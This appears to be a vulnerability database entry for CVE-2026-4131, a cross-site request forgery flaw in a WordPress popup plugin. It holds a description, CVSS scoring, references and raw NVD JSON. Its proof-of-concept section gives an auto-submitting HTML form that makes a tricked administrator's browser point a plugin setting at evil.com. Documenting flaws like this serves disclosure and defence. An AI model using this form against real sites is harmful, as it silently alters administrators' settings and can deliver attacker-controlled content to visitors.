CVE-2026-4131

Description

The WP Responsive Popup + Optin plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to and including 1.4. This is due to the settings form on the admin page (wpo_admin_page.php) lacking nonce generation (wp_nonce_field) and verification (wp_verify_nonce/check_admin_referer). This makes it possible for unauthenticated attackers to update all plugin settings including the 'wpo_image_url' parameter via a forged request, granted they can trick a site administrator into performing an action such as clicking a link.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WP Responsive Popup + Optin <= 1.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CSRF to update plugin settings -->
<html>
  <body>
    <script>history.pushState('', '', '/')</script>
    <form action="http://target-site/wp-admin/admin.php?page=wpo_admin_page" method="POST">
      <input type="hidden" name="wpo_image_url" value="http://evil.com/exploit.jpg" />
      <input type="hidden" name="wpo_submit_settings" value="Save" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-4131
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-4131
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-4131/
[4] VulDB https://vuldb.com/cve/CVE-2026-4131
[5] https://plugins.trac.wordpress.org/browser/wp-popup-optin/tags/1.4/wp-popup-optin.php#L218
[6] https://plugins.trac.wordpress.org/browser/wp-popup-optin/tags/1.4/wpo_admin_page.php#L103
[7] https://plugins.trac.wordpress.org/browser/wp-popup-optin/tags/1.4/wpo_admin_page.php#L104
[8] https://plugins.trac.wordpress.org/browser/wp-popup-optin/tags/1.4/wpo_admin_page.php#L15
[9] https://plugins.trac.wordpress.org/browser/wp-popup-optin/tags/1.4/wpo_admin_page.php#L43
[10] https://plugins.trac.wordpress.org/browser/wp-popup-optin/trunk/wp-popup-optin.php#L218
[11] https://plugins.trac.wordpress.org/browser/wp-popup-optin/trunk/wpo_admin_page.php#L103
[12] https://plugins.trac.wordpress.org/browser/wp-popup-optin/trunk/wpo_admin_page.php#L104
[13] https://plugins.trac.wordpress.org/browser/wp-popup-optin/trunk/wpo_admin_page.php#L15
[14] https://plugins.trac.wordpress.org/browser/wp-popup-optin/trunk/wpo_admin_page.php#L43

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-4131", "sourceIdentifier": "[email protected]", "published": "2026-04-22T09:16:24.080", "lastModified": "2026-04-22T20:22:50.570", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Responsive Popup + Optin plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to and including 1.4. This is due to the settings form on the admin page (wpo_admin_page.php) lacking nonce generation (wp_nonce_field) and verification (wp_verify_nonce/check_admin_referer). This makes it possible for unauthenticated attackers to update all plugin settings including the 'wpo_image_url' parameter via a forged request, granted they can trick a site administrator into performing an action such as clicking a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-popup-optin/tags/1.4/wp-popup-optin.php#L218", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-popup-optin/tags/1.4/wpo_admin_page.php#L103", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-popup-optin/tags/1.4/wpo_admin_page.php#L104", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-popup-optin/tags/1.4/wpo_admin_page.php#L15", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-popup-optin/tags/1.4/wpo_admin_page.php#L43", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-popup-optin/trunk/wp-popup-optin.php#L218", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-popup-optin/trunk/wpo_admin_page.php#L103", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-popup-optin/trunk/wpo_admin_page.php#L104", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-popup-optin/trunk/wpo_admin_page.php#L15", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-popup-optin/trunk/wpo_admin_page.php#L43", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0a8a49c4-21e8-447c-94da-8241c7d66c29?source=cve", "source": "[email protected]"}]}}